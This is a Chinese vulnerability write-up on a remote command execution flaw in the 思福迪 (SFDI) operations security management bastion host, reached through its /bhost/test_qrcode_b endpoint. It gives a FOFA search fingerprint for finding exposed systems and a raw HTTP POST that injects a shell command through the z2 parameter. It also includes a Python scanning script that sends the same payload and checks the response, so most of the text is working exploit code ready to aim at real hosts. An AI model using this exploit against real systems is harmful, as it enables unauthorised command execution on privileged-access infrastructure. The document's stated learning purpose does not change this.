思福迪 运维安全管理系统 test_qrcode_b 远程命令执行漏洞

思福迪 运维安全管理系统 test_qrcode_b 远程命令执行漏洞

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

一、漏洞描述

思福迪运维安全管理系统是思福迪开发的一款运维安全管理堡垒机。思福迪运维安全管理系统 test_qrcode_b 路由存在命令执行漏洞。

二、漏洞影响

思福迪 运维安全管理系统

三、网络测绘

app="思福迪-LOGBASE"

四、漏洞复现

登陆页面

1.手动复现

验证POC

dart 复制代码
POST /bhost/test_qrcode_b HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Content-Length: 23
Connection: close
Content-Type: application/x-www-form-urlencoded
Referer: http://xxx.xxx.xxx.xxx
Accept-Encoding: gzip

z1=1&z2="|id;"&z3=bhost

burp截图

2.自动化复现

小龙POC检测脚本正式开源,请各路大神完善和批评

小龙POCexe传送门: 小龙POC工具

小龙POC开源传送门: 小龙POC工具

3.python源代码

dart 复制代码
# SFDI_Security_Management_System_test_qrcode_b_Command_Vuln_Scan.py

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from requests.exceptions import Timeout

def Scan_SFDI_Security_Management_System_test_qrcode_b_Command_Vuln(url, proxies, headers, append_to_output):

    proxies = {
        'http': 'http://127.0.0.1:8080',
        'https': 'http://127.0.0.1:8080'
    }
    if url.endswith("/"):
        path = "bhost/test_qrcode_b"
    else:
        path = "/bhost/test_qrcode_b"

    if not url.startswith('http://') and not url.startswith('https://'):
        url = 'http://' + url

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36",
        "Content-Length": "23",
        "Connection": "close",
        "Content-Type": "application/x-www-form-urlencoded",
        "Referer": url,
        "Accept-Encoding": "gzip",
    }

    encodetext = url + path
    data='''z1=1&z2="|id;"&z3=bhost'''
    append_to_output("===================================================================", "green")
    append_to_output(f"扫描目标: {url}", "yellow")
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        req1 = requests.post(encodetext, data=data, headers=headers, verify=False, timeout=20, proxies=proxies)

        if req1.status_code == 200 and 'uid' in req1.text:
            append_to_output(f"[+] {url} 存在思福迪 运维安全管理系统 test_qrcode_b 远程命令执行漏洞!!!!", "red")
        else:
            append_to_output(f"[-] {url} 不存在思福迪 运维安全管理系统 test_qrcode_b 远程命令执行漏洞", "green")
    except Timeout:
        append_to_output(f"[!] 请求超时,跳过URL: {url}", "yellow")
    except Exception as e:
        if 'HTTPSConnectionPool' in str(e) or 'Burp Suite Professional' in str(e):
            append_to_output(f"[-] {url} 证书校验错误或者证书被拒绝", "yellow")
        else:
            append_to_output(str(e), "yellow")
相关推荐
程序员大雄学编程13 小时前
「用Python来学微积分」5. 曲线的极坐标方程
开发语言·python·微积分
心灵宝贝13 小时前
申威(sw_64)架构下如何安装java-1.8.0-swjdk的rpm包?
linux·运维·服务器
半梦半醒*14 小时前
搭建Jenkins
linux·运维·centos·tomcat·jenkins·运维开发
橘子海全栈攻城狮14 小时前
【源码+文档+调试讲解】基于SpringBoot + Vue的知识产权管理系统 041
java·vue.js·人工智能·spring boot·后端·安全·spring
一位代码14 小时前
python | requests爬虫如何正确获取网页编码?
开发语言·爬虫·python
可触的未来,发芽的智生14 小时前
新奇特:神经网络速比器,小镇债务清零的算法奇缘
javascript·人工智能·python
Wang's Blog14 小时前
Linux小课堂: 系统监控与进程管理之深入解析 w、ps 与 top 命令
linux·运维·服务器
mortimer14 小时前
还在被 Windows 路径的大小写和正反斜杠坑?是时候让 pathlib 拯救你的代码了!
人工智能·python
std8602115 小时前
Rust 与 Python – 这是未来的语言吗?
开发语言·python·rust
鄃鳕15 小时前
Flask【python】
后端·python·flask